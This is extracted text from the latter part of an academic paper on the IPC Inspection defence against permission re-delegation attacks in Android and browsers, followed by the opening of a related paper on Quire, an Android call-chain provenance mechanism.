apply IPC Inspection rules to all postMessage recip-
ients, which may conflate the requester and the deputy.
When a requester receives a postMessage corre-
sponding to a return value, the browser will treat it as
a deputy and unnecessarily reduce its privileges.

Current web standards lack a request-reply IPC
primitive that would let browsers avoid this problem.
We propose adding such a primitive by extending
postMessage to take an optional callback argument.
Replies would not trigger privilege reduction.

Device Policies. Instance reuse is not possible for sys-
tems with time-of-use permissions, as discussed in Sec-
tion 6.1. However, it would be possible if the browser
could identify sites that do not ask for any permis-
sions. We propose that browsers only grant device ac-
cess to web applications if they statically declare that
they will ask for permissions. Web sites without permis-
sions would never need to be multiply instantiated. This
could be implemented, for example, with Content Secu-
rity Policies, which already support developer-authored
restrictions on what scripts, images, etc. can be loaded
into a page [28]; a new rule would enable device access.

7 Implementation

We implemented two IPC Inspection prototypes: one for
Android and one for ServiceOS’s browser runtime.

7.1 Android

We implemented a prototype of IPC Inspection as part of
Android 2.2. We added support for IPC Inspection to the
PackageManager and ActivityManager. The PackageM-
anager installs applications, stores their permissions, and
enforces permission requirements. The ActivityManager
handles communication between applications and starts
applications as necessary.

Five events trigger privilege reduction: starting a Ser-
vice, binding a Service, starting an Activity, receiving
a Broadcast Intent, and requesting a ContentProvider.
Our altered ActivityManager notifies the PackageMan-
ager whenever any of these five communication events
occurs. One notable exemption is the Launcher system
application, which we allow to communicate with any
other application freely, to prevent privilege reduction
from occurring whenever the user launches applications.

When the PackageManager is notified of a pending
communication event, it checks whether privilege reduc-
tion needs to occur. The message is dispatched normally,
without privilege reduction, if (1) the message is from
the system process, or (2) the requester has all of the tar-
get’s permissions. Otherwise, privilege reduction of the
target occurs before the message is delivered.

The mechanics of privilege reduction differ based on
whether the target application is a singleton. The Pack-
ageManager reduces privileges of singleton applications
by removing the appropriate permission(s) from the data
structure that assigns permissions to application UIDs.
An application can request to be a singleton by setting
a singleton value in its manifest. For non-singleton
applications, the PackageManager instructs the Activity-
Manager to create a new instance of the application to
receive the message. The ActivityManager places each
new instance in a new process, with the same UID as
the application’s primary instance. When the instance’s
process is created, the PackageManager records the re-
moved permissions in a data structure associated with the
instance’s PID. Instances of an application have access
to the same files because they share a UID. Android also
uses UIDs as a security boundary between applications,
but we assume instances are not trying to attack each
other. For both singletons and non-singletons, the Pack-
ageManager records which requester is responsible for
the removal of removed permissions in a blame map.

Permission enforcement in our modified version of
Android occurs in two steps. First, the standard permis-
sion enforcement mechanism checks whether the given
permission is assigned to the application’s UID. This
check will return the same result for all instances of an
application, since permissions are associated with UIDs.
If the standard permission check succeeds, then our al-
tered PackageManager additionally checks whether the
permission is in the process’s list of removed permis-
sions for that instance. If it is, then access is denied. The
blame map allows the PackageManager to identify the
requester that is responsible for a permission failure. Fol-
lowing our proposal in Section 6.2, the operating system
could then ask the user to temporarily grant the permis-
sion, although we did not implement this user interface.

We also extend the manifest file format so that
deputies can limit incoming messages. The existing An-
droid permission attribute lets an application specify
a permission that a requester must have. We extend this
to accept a set of permissions. If the developer limits
the receipt of incoming messages to requesters with ad-
equate permissions, then the application will never need
to undergo privilege reduction.



340 20th USENIX Security Symposium USENIX Association

7.2 ServiceOS

To demonstrate IPC Inspection in the context of web
applications, we implemented IPC Inspection as a per-
mission manager for ServiceOS, a client platform that
supports both web and desktop applications [38]. Our
implementation enabled IPC Inspection for ServiceOS’s
browser runtime.

In ServiceOS, each web origin is a principal as defined
by the Same Origin Policy [33]. Permissions for user-
controlled resources are granted on a per-principal basis.
When a user navigates to a website by following a link
or entering a new URL into the location bar, the resulting
window is associated with the appropriate site principal.
The user is asked to grant or deny permissions for that
origin. The permission manager keeps track of all current
permissions and controls access to a mock device API
that represents the new HTML5 APIs.

The browser’s communication system informs the per-
mission manager of communication events. Two events
trigger privilege reduction:

PostMessages. When a website R.com sends a
postMessage to a window belonging to D.com, this
communication passes through the IPC mechanism in
the browser. Consequently, D.com’s permissions are
subject to reduction. Permissions are restored when all
windows belonging to a principal are closed. To pre-
vent DOS, we provide websites with the ability to limit
which origins they receive postMessages from; mes-
sages from other origins will be dropped by ServiceOS.

New Windows. When a website R.com creates a new
window (e.g., a child frame) belonging to D.com, we
treat this as a new service request; the parent window
is the requester and the new window is the deputy. We
consequently create a new principal for the new window,
isolated from the rest of its origin. The new window’s
privileges are immediately reduced. Unfortunately, we
cannot provide a mechanism for limiting who a web site
can be opened by; websites are typically opened by so
many others that a whitelist is not realistic.

As with the Android implementation, we record priv-
ilege reduction so that a correct prompt could be dis-
played to the user to explain the permission failure. Ad-
ditionally, this implementation could be re-implemented
in any major browser.

Action Data
Normal 15 26
Dangerous 59 31
Signature/System 10 1
Total 84 58

Figure 5: 142 Android API calls, classified.

8 Evaluation

We evaluate IPC Inspection with respect to security and
ease of application development.

8.1 Effectiveness

Our primary goal is to prevent permission re-delegation.
We evaluate IPC Inspection for Android security.

Scope. IPC Inspection strengthens access control for
user-controlled resources and prevents applications from
making unauthorized API calls. Now, we evaluate the
scope of protection on Android system APIs.

We consider 142 methods from the Android API that
are protected with permissions and classify each method
as action or data calls. Action calls have side effects, and
data calls return values without side effects. The set of
142 methods includes all of the protected methods in the
SDK documentation, plus additional protected methods
we identified using randomized testing. There are likely
more protected interfaces to be identified, but we believe
that the set of 142 methods is a representative sample
of the full set of protected interfaces. We classify each
method according to its description in the documenta-
tion. Accessors are typically data calls and mutators are
typically action calls.

IPC Inspection can prevent both action and data calls
from being invoked when an application is acting un-
der the influence of another, less-privileged application.
Nevertheless, IPC Inspection does not provide privacy
for the return results of data calls, if the API call was
not made on behalf of the requester. For example, an
application with privileged geolocation data may pass a
cached location value to a less privileged application. We
emphasize, however, that IPC Inspection does prevent an
application from obtaining the data while under the in-
fluence of another application.

We conducted a measurement on the makeup of action
and data on Android. Figure 5 shows the results. Nearly
70% of the interfaces protected by Dangerous and Sig-
nature/System permissions are action calls.

Attack Prevention. Our Android implementation pre-
vents all of the permission re-delegation attacks de-
scribed in Section 4.

We suspect that many Android applications do not
truly intend for their publicly invokable interfaces to be
public; instead, the interfaces are intended for internal
communication or messages from the operating system.
Some messages that are typically sent by the operating
system can also be sent by non-system applications; if
the application does not additionally check the identity
of its caller, it can be confused into performing an action.
For example, we found in Section 4 that the Phone appli-
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Figure 6: In this ServiceOS test attack, a “Game” application
with no permissions opens a “Dialer” application from a differ-
ent domain as a child frame. The user previously granted the
Dialer the ability to send text messages, but the permission is
removed upon loading because the Game lacks it. The Game
sends the Dialer a postMessage asking the Dialer to send a
text message. The Dialer’s API call is denied.

cation will mute indications of an incoming phone call
based on a message it expects to receive from the sys-
tem. Tests on 5 applications that appear to fall in this cat-
egory indicate that IPC Inspection prevents unintention-
ally public interfaces from being surprisingly invoked.

We built attack test suites for both Android and Ser-
viceOS, and our implementation prevents all of the test
attacks from succeeding. Each test suite is comprised of
a set of communications from an unprivileged applica-
tion to a privileged application. The privileged applica-
tion is set up to make an API call following the receipt of
any type of message. In a successful test, IPC Inspection
prevents the API call from completing. We exercise all
of the communication events available in each platform.
Figure 6 is a screenshot of a test attack in ServiceOS.

8.2 Ease of Development on Android

Although we aim to prevent permission re-delegation,
we do not want to prevent legitimate application interac-
tions. We discuss four categories of applications: non-
deputies, intentional deputies, unintentional deputies,
and requesters. An application is an intentional deputy
if it is built to expose functionality to other applications,
whereas an application is an unintentional deputy if it
exposes internal functionality accidentally. The Android
communication system makes it easy for applications to
accidentally expose internal functionality [6]. We esti-
mate the prevalence of these four types of applications.

Non-Deputies. An application that does not offer ser-
vices to other applications will not be greatly impacted
by IPC Inspection. A non-deputy application will not
need to be multiply instantiated, nor will it experience
privilege reduction.

Unintentional Deputies. IPC Inspection will prevent
malicious applications from using accidentally public in-
terfaces of unintentional deputies to launch permission
re-delegation attacks. The application will not be af-
fected during normal operation.

Intentional Deputies. Applications that do provide pub-
lic services can take one of two approaches, depending
on their needs. The first option is that a deputy can accept
calls from arbitrary requesters. A developer that chooses
this option should place security exception handling code
around API calls that require permissions, in case an un-
privileged requester causes privilege reduction of an in-
stance. The second option is for an application to re-
quire that potential requesters have all of the permissions
necessary to make the relevant API calls. A developer
that chooses this option therefore needs to specify a list
of required permissions. This choice obviates the need
for multiple instances, which is beneficial from a perfor-
mance perspective. However, it may reduce the num-
ber of eligible requesters. A singleton application should
choose this option to prevent its primary (and only) in-
stance from experiencing privilege reduction.

Here, we discuss the impact of IPC Inspection on three
popular, real-world intentional deputies:

Barcode Scanner. The “ZXing” barcode scanner is
among the 50 most popular free applications in the An-
droid Market. It provides public interfaces for scanning,
creating, and displaying barcodes. ZXing uses several
permissions to complete these tasks (e.g., CAMERA). ZX-
ing correctly attenuates authority by asking for user per-
mission before performing privileged tasks, so IPC In-
spection does not add security in this case. ZXing can be
repeatedly instantiated without any apparent issues, so
ZXing does not necessarily need to limit its requesters to
applications with certain permissions.

E-Mail. “GMail” is the official Google e-mail client.
It provides several public interfaces. The primary pub-
lic interface is an e-mail composition Activity that
can be pre-seeded by the requester. GMail uses sev-
eral permissions to send a pre-composed e-mail, e.g.,
WRITE EXTERNAL STORAGE (for uploading file at-
tachments) and INTERNET. It is not clear whether all of
GMail’s other public interfaces are truly intended to be
public: for example, one BroadcastReceiver listens for
a message that indicates login accounts have changed.
Like ZXing, GMail can be repeatedly instantiated with-
out exhibiting obvious flaws.

Music Player. “Music” is one of the pre-installed system
applications. It provides many public interfaces, includ-
ing a MediaPlaybackService. The MediaPlaybackSer-
vice opens music files, starts and stops music playback,
and manages the current playlist. It uses permissions
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such as WRITE EXTERNAL STORAGE (to open files)
and WAKE LOCK (to keep the phone on while playing
music). We discovered in Section 4 that permission re-
delegation attacks can be mounted using the MediaPlay-
BackService, but they are prevented with our Android
IPC Inspection implementation. MediaPlayBackService
needs to run as a singleton because it is a long-running
background service that maintains state.

In summary, ZXing and GMail developers can choose
whether to write exception handling code or lists of per-
mission requirements for their requesters. The Music ap-
plication is a singleton, so its developer should accept
requests only from applications with all of its required
permissions. The developer must specify that Music is a
singleton and list the desired requester permissions.

Requesters. Under IPC Inspection, deputies may require
their requesters to have more permissions. We present
three example requesters that make use of the deputies
presented above and consider whether they already have
the necessary permissions. Additional install-time per-
missions would not be necessary if Android were to al-
low time-of-use permissions for the specific case of in-
teracting with deputies.

We also consider the effects of a hypothetical rule that
reduces privileges for requesters upon receipt of a reply
value. Stricter policies (MAC and HBAC) include such
a rule, as discussed in Section 6.

Barcode Scanner. Many applications rely on the ZXing
barcode scanner [41]. One example is “Beer Cloud,”
which lets users find nearby bars that serve particular
beers. Beer Cloud invokes the ZXing barcode scanner to
identify beers. Under IPC Inspection, Beer Cloud would
require the CAMERA permission to interact with ZXing.
Currently, Beer Cloud does not have the CAMERA per-
mission; IPC Inspection would require it to add it, which
might overprivilege the Beer Cloud application.

Once Beer Cloud has received the barcode data from
ZXing, it passes the beer information and user location
to a backend server. The server returns nearby bar ad-
dresses. Beer Cloud uses Internet and location permis-
sions to accomplish this. If we were to implement priv-
ilege reduction following return values, then Beer Cloud
would not be able to pass the beer and location data to its
backend server because ZXing does not have the neces-
sary location permission.

E-Mail. “Blackmoon File Browser” relies on GMail for
file sharing. Blackmoon File Browser only has one per-
mission, WRITE EXTERNAL STORAGE. Under IPC In-
spection, it would require the INTERNET permission as
well. None of GMail’s public interfaces return values, so
a hypothetical return value rule would not impact Black-
moon File Browser or any other requesters of GMail.

Intentional Deputy 5 applications
Unintentional Deputy 4 applications
Requester 6 applications

Figure 7: We classify 20 Android applications. 13 applica-
tions are deputies or requesters. One is both an intentional and
unintentional deputy, and another acts as both a deputy and a
requester. All have Dangerous permissions.

Music Player. “ScrobbleDroid” uses the Music applica-
tion’s MediaPlayBackService to track the user’s recently
played songs. The recently played songs are then posted
on the website last.fm. Binding to the singleton Me-
diaPlayBackService would require ScrobbleDroid to add
four permissions under IPC Inspection. MediaPlayBack-
Service does not actually use all four of the extra permis-
sions (they are used elsewhere in Music), so this would
slightly over-privilege ScrobbleDroid. In the reverse di-
rection, ScrobbleDroid uses return values provided by
the MediaPlayBackService. Since ScrobbleDroid has
a permission that Music does not have, ScrobbleDroid
would be impacted by the hypothetical return result rule
that we rejected in Section 6.

In summary, Beer Cloud and Blackmoon File Browser
would need to gain user approval for additional per-
missions that make sense considering their functionality.
However, they wouldn’t use the permissions for anything
but communication with deputies. ScrobbleDroid would
need otherwise unnecessary permissions because Music
is a singleton. Beer Cloud and ScrobbleDroid also illus-
trate why we do not reduce privileges for request-reply
message exchanges.

Prevalence. We consider 20 randomly selected Android
applications (from our set of 872) and evaluate whether
they act as deputies, requesters, or both. We manually
interact with the applications’ user interfaces, log com-
munication events, and examine their manifests.

Figure 7 shows the results of the survey. Under IPC
Inspection, developers of intentional deputies and re-
questers may need to make minor changes to their ap-
plications: intentional deputies might need to specify
permission requirements for requesters, and requesters
might need to add extra permissions. 11 of the 20 appli-
cations are intentional deputies, requesters, or both.

We also classify 4 of the 20 applications as uninten-
tional deputies. IPC Inspection would prevent these acci-
dentally public interfaces from being used for permission
re-delegation attacks. The developer of the first uninten-
tional deputy obviously copied part of the manifest from
another application with public interfaces. The second
unintentional deputy’s public interface accepts paths to
local and remote files, which it then loads as an update to
the application. It appears that the developer expects the
files to be provided by the browser as part of an update
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mechanism from their website; in reality, any applica-
tion can supply the path to the file. The third crashes
when any of its public Activities are loaded by other ap-
plications. The fourth has a public Activity that does not
appear to be a useful addition to any other application.

8.3 Ease of Web Development
We discuss IPC Inspection from the perspective of a web
developer and give examples of how it would be applied.

Deputies. Web applications that want to accept
postMessages without risking privilege reduction
should register a list of trusted requesters. It is already
best practice to check the origin of message senders [29];
we make this logic explicit by providing a mechanism to
register a list of acceptable requesters with the browser.
Even if a message does cause a permission failure, web
applications should already be built with the expectation
that access to a device API might fail because users al-
ready expect to continue interacting with websites after
denying permissions.

Any web application, regardless of whether it intends
to act as a deputy, may be multiply instantiated because
any website can be opened by another web site. Web
applications already expect to be simultaneously open in
multiple tabs in the same browser.

IPC Inspection does impose one restriction on web ap-
plications. If a.com opens the child frame b.com, and
b.com in turn opens a child frame a.com, we place
the two versions of a.com in separate instances because
they have different requesters.2 The two instances of
a.com can obtain references to each other’s window
objects [25], which we support. However, the Same Ori-
gin Policy implies that they should have full access to
each other’s DOM objects, but IPC Inspectiondisallows
this interaction because they are separate instances. We
are aware of only one legitimate use of this embedding
pattern, which is to facilitate cross-origin communication
between two sites in browsers that lack postMessage
support. However, modern browsers that support device
APIs will also support postMessage, obviating the
need for the embedding.

Requesters. Requesters do not need to make any
changes to their applications because browser device per-
missions are currently all time-of-use. When a deputy
makes an API call on behalf of a requester, the browser
will display a time-of-use prompt that asks the user to
grant the permission to the deputy and requesters.

2We do not break the case where a.com opens two child frames
from b.com; both will be placed in the same instance and will have
access to each other’s heaps as expected.

outer.com

map.com

Browser

getCurrentPosition

goToUserLoc(1)

(2)

photos.com

ads

Browser

camera.take()

Figure 8: Left: an unprivileged website opens a mapping ser-
vice that uses the user’s location. Right: a privileged website
includes unprivileged advertisements.

Examples. Both postMessage and device APIs are
too new for widespread support and use, so we cannot
measure the impact of IPC Inspection on real-world ap-
plications. Instead, we present two example cases of ap-
plications interacting with each other (Figure 8).

In the first example, a website (outer.com) opens a
mapping service. Outer.com has no permissions, so
the mapping service is opened as a new instance with no
permissions. When outer.com asks map.com to dis-
play the user’s current position on the map, map.com
asks the browser for the current location. The browser
would then prompt the user to give outer.com and
map.com access to the current location.

In the second example, the user has granted camera
access to a photo sharing website. The photo sharing
website loads a frame containing advertisements. The
ad site does not have any permissions, so it does not
lose any permissions when it is opened. The photo
sharing website can send messages to the advertising
site without any changes to either party’s permissions.
However, a postMessage from the advertising site
to photos.com would remove photos.com’s cam-
era permission. If photos.com were to use the cam-
era again after receiving a message from ads.com, the
user would be presented with a prompt asking to approve
camera access for both photos.com and ads.com. If
the photo sharing site wishes to avoid becoming a deputy,
it should refuse postMessages from the advertise-
ment. If it needs to receive replies from the ad, it can use
our proposed request-reply variant of postMessage
when communicating with the ad (Section 6.2).

8.4 Performance

The performance cost of IPC Inspection depends on the
workload, i.e., the set of running applications.

No Deputies. If the workload does not contain any per-
mission re-delegation, then there is no cost. This oc-
curs when applications don’t communicate, messages are
only being sent to applications with no permissions, or
the requesters have as many permissions as the deputies.
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Singletons. A singleton is an application that is never
duplicated and has only one set of current permissions.
Top-level windows in the browser are singletons, as are
self-identified singleton applications in Android. If priv-
ilege reduction applies to a singleton, then the cost of
IPC Inspection is (1) removing permissions from a list or
hash map and (2) adding the removed permissions to a
hash map that records the reason for removal. Neither is
an expensive operation.

Instances. The primary cost of IPC Inspection occurs
when privilege reduction requires the creation of a new
instance. In a browser, new instances are created for
child frames. The frame needs to be opened, regard-
less of whether it is a new instance; the difference with
IPC Inspection is that the browser gives the child frame a
unique entry in the permission assignment map, separate
from the main application. This is a small cost.

In Android, the creation of a new instance might mean
that multiple versions of the same application are run-
ning simultaneously, in different processes and virtual
machines. Given the battery and memory constraints of
a mobile phone, this does not scale well. However, we
do not expect many instances to be open simultaneously.
The standard pattern for legitimate communication is as
follows: (1) the requester opens a target Activity, (2) the
user performs an action such as selecting a contact or ap-
proving an e-mail, (3) the target Activity closes and the
requester regains control of the screen. The instance only
needs to exist while the Activity is open. Only one Activ-
ity can be open at once, so we expect that in most cases
only one additional instance would be open at a time.

9 Related Work

Browser Defenses. Major browser vendors remove the
geolocation permission from iframes, so that the user
must re-approve the geolocation permission for every
parent-child window pair. This agrees with our proposal.
However, we suggest that these rules also be extended to
top-level windows that interact with each other.

Android. Three pieces of concurrent work address sim-
ilar issues. Davi et al. discuss permission re-delegation
attacks on Android [8]. They introduce the problem and
present an attack on a vulnerable deputy. We perform
a larger analysis of applications and discuss how plat-
forms need to change to prevent these attacks. Chin
et al. present ComDroid [6], a static analysis tool that
aims to help prevent developers from accidentally mak-
ing components public. They also make recommen-
dations for changes to the Android platform to reduce
the rate of unintentional deputies. Although their tool
and their platform recommendations would help prevent
some instances of permission re-delegation, attacks on

intentional deputies would still remain. Dietz et al. built
Quire [10], an extension to the Android IPC mechanisms
that helps developers avoid permission re-delegation at-
tacks. Quire annotates IPCs so that an application can
check the full chain of applications responsible for an
IPC call. This addresses the same problem as IPC In-
spection but does not force developer compliance.

Past work has also discussed Android permission us-
age. TaintDroid [12] performs dynamic taint analysis. It
tracks the real-time flow of sensitive data through appli-
cations to detect inappropriate sharing. The taint source
is API data, and the network is the sink. They track
only data flow, but not control flow. TaintDroid is com-
plementary to IPC Inspection because they track API
return values but do not prevent API calls from being
made. Another tool, ScanDroid [21], uses static anal-
ysis to determine data flow through Android applica-
tions; it is intended for use similar to TaintDroid. Scan-
Droid, however, requires access to application source
code. Kirin [13] checks application permission require-
ments and recommends against the installation of ap-
plications with certain permission combinations. Their
rules are intended to help detect malware, and they do
not consider application interaction as a capability.

HBAC. IPC Inspection revises and extends History-
Based Access Control (HBAC) [1]. The two approaches
share a core idea: application permissions are reduced af-
ter inter-application interactions. HBAC is intended for
use within a runtime; their permissions apply to threads,
and privilege reduction follows function calls. We apply
IPC Inspection to the application platform itself and cre-
ate rules appropriate for that context. Our design places a
high priority on application functionality and ease of de-
velopment. Unlike HBAC, we do not reduce privileges
following return values or permit explicit rights restora-
tion. We introduce the concept of multiple instances of
an application to prevent privilege reduction from im-
pacting the application as a whole.

Stack Inspection. IPC Inspection has the same seman-
tics as stack inspection, but permission checks are asso-
ciated with IPC rather than method calls. We do not de-
pend on the stack, so event-driven code does not present
a problem. We make message queues explicit and exter-
nal, by servicing each message with a new application
instance. IPC Inspection is also runtime- and language-
independent.

DIFC. Decentralized information flow control (DIFC)
lets applications explicitly express their information flow
policies to the operating system or a language runtime,
which then enforces the policies [30, 26, 39, 11]. DIFC is
not suitable for the problem of permission re-delegation
because the access control policy for user-controlled re-
sources is centrally decided by the user, not applications.
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IPC Inspection is more similar to centralized information
flow control, but IPC Inspection is deployed at the appli-
cation level rather than the variable level.

Low Watermark. IPC inspection carries out the seman-
tics of Biba’s low watermark model [4] in that subjects
are application instances, and the integrity level of an ap-
plication instance is determined by the permissions that
the user has granted to the application instance. When
Instance A sends an IPC message to Instance B, the mes-
sage represents objects with the same integrity level as
that of Instance A. If Integrity(A) < Integrity (B) (mean-
ing B contains permissions that A does not), then B re-
moves the permissions that A does not have.

LOMAC [20] applies Biba’s low watermark mode in a
different way. LOMAC aims to prevent (malicious) low
integrity content from tampering with high integrity pro-
gram execution, whereas IPC Inspection is intended to
prevent less-privileged (low integrity) applications from
using the additional privileges belonging to another (high
integrity) application. In LOMAC, a subject is a job
(which contains multiple application instances) and an
object is data. Integrity levels for objects are assigned
based on the sources for the objects. For example, Inter-
net objects are at a lower integrity level than local data.
Named pipes and shared memory are considered objects
with integrity levels. Subjects’ integrity levels are as-
signed based on the hierarchy of the jobs. The first set
of system jobs have the highest integrity level and lower
levels in the job hierarchy (as jobs spawn new jobs) rep-
resent lower integrity levels. Both LOMAC and IPC in-
spection face the “self revocation problem” [20] inherent
in the Biba’s low watermarking model. The self revoca-
tion problem occurs when a principal’s privilege reduc-
tion prevents it from accessing high-integrity level data,
preventing legitimate functionality. Each scheme has to
relax the low watermark model slightly to accommodate
the problem. In our case, we ignore the reply in the non-
simplex IPC communications. In the case of LOMAC,
they use jobs as subjects rather than processes.

CSRF. Like permission re-delegation, cross-site request
forgery (CSRF) is a confused deputy attack that occurs
in browsers [40]. However, CSRF attacks are targeted at
server-side resources. CSRF defenses rely on developer
participation and require changes to servers [2].

10 Conclusion

We discuss permission re-delegation as a problem with
new permission systems. Permission re-delegation oc-
curs when a deputy delegates a user-controlled permis-
sion to an unprivileged application without user autho-
rization. This is an emerging threat for both the web and
smartphone platforms. We find that many Android ap-

plications are at risk of having permission re-delegation
vulnerabilities, and we construct attacks that exploit 15
vulnerabilities in Android system applications. We dis-
closed our findings and filed bug reports; several of the
vulnerabilities have been confirmed as bugs.

We also devise a runtime-independent defense mech-
anism, IPC Inspection, which transparently protects
against attacks on confused deputies, with no compatibil-
ity cost for non-deputies or confused deputies. However,
intentional deputies and their clients need some modifi-
cations to work with IPC Inspection. In particular, appli-
cations that interact with deputies may need to add per-
missions that they otherwise do not use. We feel that
the problem of permission re-delegation deserves careful
attention, and we hope this paper will encourage future
work on these problems. In particular, we believe static
analysis of deputies is a promising future area for server-
side analysis or platforms with installed packages.
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Appendix

The 16 pre-installed system applications referenced in
Section 4 are: Browser, Calendar, Calculator, Camera,
Contacts, Desk Clock, Email, Gallery, Global Search,
Launcher, Live Wallpaper, Messaging/Mms, Music,
Phone, Settings, and SoundRecorder. These pre-installed
applications must be present on every phone, as set
forth by the Android 2.2 compatibility definition [22].
We built permission re-delegation attacks using Settings,
DeskClock, Phone, Music, and Launcher. We collected
the applications from the Android Market on August 27,
2010 (free) and October 15, 2010 (paid).

The 20 applications surveyed in Section 8.2 are: Daum
Maps, Pages Jaunes, Korean IME, Sherpa, Qik, Yan-
dex Maps, First Aid, Three Stooges, Öffi, Cheech and
Chong, Coupons, Human Body Facts, Android System
Info, Baidu Input, Bubbles, Hello Kitty Wallpaper, Mu-
sical Lite, Time2Hunt Free, ModernInfo: BlackOps, and
Wolfram Alpha.
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Abstract
Smartphone apps are often granted to privilege to run
with access to the network and sensitive local resources.
This makes it difficult for remote endpoints to place any
trust in the provenance of network connections originat-
ing from a user’s device. Even on the phone, different
apps with distinct privilege sets can communicate with
one another. This can allow one app to trick another
into improperly exercising its privileges (resulting in a
confused deputy attack). In Quire, we engineered two
new security mechanisms into Android to address these
issues. First, Quire tracks the call chain of on device
IPCs, allowing an app the choice of operating with the
reduced privileges of its callers or exercising its full priv-
ilege set by actiing explicitly on its own behalf. Second,
a lightweight signature scheme allows any app to create
a signed statement that can be verified by any app on
the same phone. Both of these mechanisms are reflected
in network RPCs. This allows remote systems visibility
into the state of the phone when the RPC was made. We
demonstrate the usefulness of Quire with two example
applications: an advertising service that runs advertise-
ments separately from their hosting applications, and a
remote payment system. We show that Quire’s perfor-
mance overhead is minimal.

1 Introduction

On a smartphone, applications are typically given broad
permissions to make network connections, access local
data repositories, and issue requests to other apps on the
device. For Apple’s iPhone, the only mechanism that
protects users from malicious apps is the vetting pro-
cess for an app to get into Apple’s app store. (Apple
also has the ability to remotely delete apps, although it’s
something of an emergency-only system.) However, any
iPhone app might have its own security vulnerabilities,
perhaps through a buffer overflow attack, which can give
an attacker full access to the entire phone.

The Android platform, in contrast, has no significant
vetting process before an app is posted to the Android
Market. Instead, the Android OS insulates apps from
one another and the underlying Android runtime. Ap-
plications from different authors run with different Unix
user ids, containing the damage if an application is com-
promised. (In this aspect, Android follows a design sim-
ilar to SubOS [20].) However, this does nothing to de-
fend a trusted app from being manipulated by a mali-
cious app via IPC (i.e., a confused deputy attack [18],
intent stealing/spoofing [9], or other privilege escalation
attacks [11]). Likewise, there is no mechanism to prevent
an IPC callee from misrepresenting the intentions of its
caller to a third party.

This mutual distrust arises in many mobile applica-
tions. Consider the example of a mobile advertisement
system. An application hosting an ad would rather the ad
run in a distinct process, with its own user-id, so bugs in
the ad system do not impact the hosting app. Similarly,
the ad system might not trust its host to display the ad
correctly, and must be concerned with hosts that try to
generate fake clicks to inflate their ad revenue.

To address these concerns, we introduce Quire, a low-
overhead security mechanism that provides important
context in the form of provenance and OS managed data
security to local and remote apps communicating by IPC
and RPC respectively. Quire uses two techniques to pro-
vide security to communicating applications.

First, Quire transparently annotates IPCs occurring
within the phone such that the recipient of an IPC re-
quest can observe the full call chain associated with the
request. When an application wishes to make a network
RPC, it might well connect to a raw network socket, but
it would lack credentials that we can build into the OS,
which can speak to the state of an RPC in a way that
an app cannot forge. (This contextual information can
be thought of as a generalization of the information pro-
vided by the recent HTTP Origin header [2], used by web
servers to help defeat cross-site request forgery (CSRF)
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attacks.)
Second, Quire uses simple cryptographic mechanisms

to protect data moving over IPC and RPC channels.
Quire provides a mechanism for an app to tag an object
with cheap message authentication codes, using keys that
are shared with a trusted OS service. When data anno-
tated in this manner moves off the device, the OS can
verify the signature and speak to the integrity of the mes-
sage in the RPC.

Applications. Quire enables a variety of useful appli-
cations. Consider the case of in-application advertising.
A large number of free applications include advertise-
ments from services like AdMob. AdMob is presently
implemented as a library that runs in the same process
as the application hosting the ad, creating trivial oppor-
tunities for the application to spoof information to the
server, such as claiming an ad is displayed when it isn’t,
or claiming an ad was clicked when it wasn’t. In Quire,
the advertisement service runs as a separate application
and interacts with the displaying app via IPC calls. The
remote application’s server can now reliably distinguish
RPC calls coming from its trusted agent, and can fur-
ther distinguish legitimate clicks from forgeries, because
every UI event is tagged with a Message Authentication
Code(MAC) [21], for which the OS will vouch.

Consider also the case of payment services. Many
smartphone apps would like a way to sell things, lever-
aging payment services from PayPal, Google Checkout,
and other such services. We would like to enable an ap-
plication to send a payment request to a local payment
agent, who can then pass the request on to its remote
server. The payment agent must be concerned with the
main app trying to issue fraudulent payment requests, so
it needs to validate requests with the user. Similarly, the
main app might be worried about the payment agent mis-
behaving, so it wants to create unforgeable “purchase or-
ders” which the payment app cannot corrupt. All of this
can be easily accomplished with our new mechanisms.

Challenges. For Quire to be successful, we must ac-
complish a number of goals. Our design must be suffi-
ciently general to capture a variety of use cases for aug-
mented internal and remote communication. Toward that
end, we build on many concepts from Taos [38], includ-
ing its compound principals and logic of authentication
(see Section 2). Our implementation must be fast. Ev-
ery IPC call in the system must be annotated and must be
subsequently verifiable without having a significant im-
pact on throughput, latency, or battery life. (Section 3 de-
scribes Quire’s implementation, and Section 5 presents
our performance measurements.) Quire expands on re-
lated work from a variety of fields, including existing

Android research, web security, distributed authentica-
tion logics, and trusted platform measurements (see Sec-
tion 6). We expect Quire to serve as a platform for future
work in secure UI design, as a substrate for future re-
search in web browser engineering, and as starting point
for a variety of applications (see Section 7).

2 Design

Fundamentally, the design goal of Quire is to allow
apps to reason about the call-chain and data provenance
of requests, occurring on both a host platform via IPC
or on a remote server via RPC, before committing to
any security-relevant decisions. This design goal is
shared by a variety of other systems, ranging from Java’s
stack inspection [34, 35] to many newer systems that
rely on data tainting or information flow control (see,
e.g., [24, 25, 13]). In Quire, much like in stack inspec-
tion, we wish to support legacy code without much, if
any modification. However, unlike stack inspection, we
don’t want to modify the underlying system to annotate
and track every method invocation, nor would we like to
suffer the runtime costs of dynamic data tainting as in
TaintDroid [13]. We also wish to operate correctly with
apps that have natively compiled code, not just Java code
(an issue with traditional stack inspection and with Taint-
Droid). We observe that in order to accomplish these
goals, we only need to track calls across IPC boundaries,
which happen far less frequently than method invoca-
tions, and which already must pay significant overheads
for data marshaling, context switching, and copying.

Stack inspection has the property that the available
privileges at the end of a call chain represent the intersec-
tion of the privileges of every app along the chain (more
on this in Section 2.2), which is good for preventing con-
fused deputy attacks, but doesn’t solve a variety of other
problems, such as validating the integrity of individual
data items as they are passed from one app to another or
over the network. For that, we need semantics akin to
digital signatures, but we need to be much more efficient
as attaching digital signatures to all IPC calls would be
too slow (more on this in Section 2.3).

Versus information flow. A design that focuses on
IPC boundaries is necessarily less precise than dynamic
taint analysis, but it’s also incredibly flexible. We
can avoid the need to annotate code with static secu-
rity policies, as would be required in information flow-
typed systems like Jif [26]. We similarly do not need
to poly-instantiate services to ensure that each instance
only handles a single security label as in systems like
DStar/HiStar [39] or IPC Inspection [15]. Instead, in
Quire, an application which handles requests from mul-
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tiple callers will pass along an object annotated with the
originator’s context when it makes downstream requests
on behalf of the original caller.

Likewise, where a dynamic tainting system like Taint-
Droid [13] would generally allow a sensitive operation,
like learning the phone’s precise GPS location, to occur,
but would forbid it from flowing to an unprivileged app;
Quire will carry the unprivileged context through to the
point where the dangerous operation is about to happen,
and will then forbid the operation. An information flow
approach is thus more likely to catch corner cases (e.g.,
where an app caches location data, so no privileged call
is ever performed), but is also more likely to have false
